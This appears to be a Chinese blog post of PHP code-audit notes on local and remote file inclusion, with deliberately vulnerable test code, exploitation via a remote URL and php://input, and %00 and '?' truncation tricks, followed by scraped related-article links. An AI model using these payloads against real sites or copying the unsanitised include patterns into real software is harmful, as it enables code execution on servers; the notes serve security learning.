PHP-代码审计-文件包含
文件包含
文件包含函数
- include() include_one() require() require_once()
- 他们之间的区别在于:
include()和include_one
在包含文件时即使遇到错误,下面的代码依然会继续执行;而require()和require_one() 则会直接报错退出程序
挖洞经验
文件包含大多出现在模块加载,模块加载以及cache调用的地方,比如传入的模块名参数,实际上是直接吧这个拼接到了包含文件的路径,比如像espcms的代码:
$archive = indexget('archive','R')
$archive = empty($archive) ? 'adminuser' : $archive;
$action = indexget('action','R');
$action = empty($action) ? 'login' : $action;
include = admin_ROOT . adminfile . "/control/$archive.php"
- 传入的archive参数就是被包含的文件名,所以我们挖掘漏洞的时候,可以跟踪一下程序的流程,看看模块是否加载时包含的文件可控,
- 另外就是直接搜索
include(),include_one() require() require_onece() 这4个函数来回溯看看
本地文件包含
LFI
条件
1.allow_url_fopen=On
2.用户可以动态控制变量
- 指只能包含本机文件的文件包含漏洞
- 测试代码1.php
<?php
//初始化....
define("ROOT",dirname(__FILE__).'/');
//加载模块
$mod = $_GET['mod'];
echo ROOT.$mod.'.php';
include(ROOT.$mod.'.php');
- 测试代码2.php
<?php phpinfo();?>
- 请求/1.php?mod=2执行结果
- 将会输出phpinfo页面
远程文件包含
RFI
条件
1.allow_url_include=On
2.用户可以动态控制变量
- 指用户可以包含远程文件的包含漏洞
- 很少能挖到
基于http测试代码
1.php
#直接包含用户传来的参数
include($_GET['url']);
- 利用则在GET请求url参数中传入http://远程主机地址/2.txt
- 其中远程机器上2.txt是一个内容为:<?php phpinfo();?> ,访问后返回phpinfo信息
- 还有一种利用手段,只要执行1.php?url=php://input ,post内容填<?php phpinfo();?>
- 便会打印phpinfo信息
文件包含截断
- 大多数文件包含都是需要截断的,因为正常程序里面包含的文件代码一般像include(BASEPATH.mod.′.php′)或include(mod.'.php')或include(mod.′.php′)或include(mod.’.php’)这样的方式,如果我们不能写入以.php为扩展名的文件,拿我们就需要截断来利用
3种姿势
- %00截断: http//xx/1.php?url=1.txt%00, php5.3以后不支持该方法
- 多个英文句号反斜杠截断: php5.3以后也被修复
- ? 截断:http//xx/1.php?url=1.txt?
PHP-代码审计-文件包含相关推荐
- java代码审计文件包含_代码审计--一道简单的文件包含题目的多种利用方式
不知出自哪次CTF 前言: 本萌新最近在学习代码审计, 有一天在水群聊到代码审计如何学习, 然后某dalao丢给我一道题,说你对这题有什么看法, 本萌新一看,这不是很简单吗,想也没多想就直接上去?fi ...
- php代码审计文件包含,PHP代码审计之远程文件包含(RFI)
有位叫做普瑞斯特的大牛针对PHP的web应用列出了下面几种攻击方式: 1.命令注入(Command Injection)2.eval注入(Eval Injection)3.客户端脚本攻击(Script ...
- 代码审计中的文件包含漏洞
0x00 背景 文件包含漏洞是php语言的一大特性.文件包含的意思是,服务器在执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码并执行,这会为开发者节省大量的时间.而文件包含漏洞的出现 ...
- BlueCms v1.6 本地文件包含漏洞代码审计
目录 BlueCms POC构造 漏洞利用 BlueCms BlueCMS是一款专注于地方门户网站建设解决方案,基于PHP+MySQL的技术开发,全部源码开放. 复现版本为bluecmsv1.6版本, ...
- 代码审计:任意文件包含(php4.81版本)
代码审计方式: 通读全文 关键字定位 本次采用的是关键字定位,使用工具为seay源代码审计系统. 流程及分析: 添加审计源码项目并定位关键字(使用全局搜索定位) 定位原则:有变量参数传入 分析此处源码 ...
- 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞
前言 最近几天在给协会的学弟讲代码审计入门相关内容,便找了这个熊海CMS_V1.0来教学,结果在这个过程中遇到蛮多问题的,于是这篇文章详细记录了对熊海CMS_V1.0从搭建到审计与漏洞分析的过程,其中 ...
- 通达OA V11.3 代码审计 (文件上传、文件包含、任意用户登录漏洞)
因为这段时间比较忙,抽出时间写博客很不容易,所以就简单的吧印象笔记里面的内容站上俩,没有写太多具体的分析过程,尽量都在截图中说明了 附件 通达OA11.3源码(未解码,可以自己去下SeayDzend解 ...
- 文件包含--简单的代码审计绕过
解题思路: 查看页面的每个链接都有些什么,最后目标锁定在flag.php上 页面显示如下: 页面下方源码如下: 源码分析: $file = @$_GET['page']; //将url变量page的值 ...
- WEB攻防-通用漏洞文件包含LFIRFI伪协议编码算法代码审计
目录 知识概要 1.解释 2.实现漏洞的三种方式 3.本地包含LFI&远程包含RFI-区别 4.各类脚本语言包含代码写法 思路点 黑盒发现 白盒发现 CTF案例演示 CTF-78-php&am ...
- 【代码审计】PHP文件包含漏洞利用总结
0x01 概述 PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而导致意外的文件泄露甚至恶意的代码注入.涉及文件包含漏洞的四个函数如下: includ ...
最新文章
- DELL服务器有RAID,安装系统识别不到硬盘
- mysql实现表单号:表单编码+时间+表单号
- zcmu-1783(01字典树)
- 阿里云发布vSphere虚拟机备份服务 ,网络带宽有限条件下依然能有效保护数据
- (转)也谈设计模式,实例票据打印 解析 Decorator
- 剖析Caffe源码之Blob
- java shark_JAVA项目开发笔记(3)Shark部分: Shark API | 学步园
- linux关于bashrc与profile的区别(转)
- CANoe 13 demo 下载和激活-转载
- 牛逼!SpringBoot+Vue企业级支付系统!附源码!
- 思科cisco模拟器路由器的基础配置
- 破解md5加密的方法
- 每日一淘洞察市场消费真相,深挖三四五线城市消费者需求
- phpstudy的php fpm,浅谈PHP-FPM参数
- 华硕(ASUS)路由器AP模式设置教程
- Android仿微信头像放大效果
- 用什么工具可以批量查询韵达快递
- 【生活】解决广州社保无法查询的问题,2020年3月起,广州社保/医保/养老无法在微信/支付宝查询到的解决办法
- DxO PhotoLab 4.2Crack,使用独特的DxO本地调整工具
- 得吃货者得天下,美食内容IP如何征服大众的胃与心?
热门文章
- 64位windows7配置32位odbc
- HDU.5909.Tree Cutting(树形DP FWT/点分治)
- ObjectInputStream和ObejctOutputStream
- C# 乐观锁、悲观锁、共享锁、排它锁、互斥锁
- Laravel5.1 搭建博客 --编译前端文件
- 《Android群英传》读书笔记 (5) 第十一章 搭建云端服务器 + 第十二章 Android 5.X新特性详解 + 第十三章 Android实例提高...
- zoj 3747 (DP)(连续至多,连续至少)
- 为应用“瘦身”!给 Android 应用开发者的十个建议(转)
- Java黑皮书课后题第9章:*9.4(使用Random类)编写一个程序,创建一个种子为1000的Random对象,然后使用nextInt(100)方法显示0到100之间的前50个随机整数
- mac版smali2java_Android反编译apk并重新打包签名(Mac环境)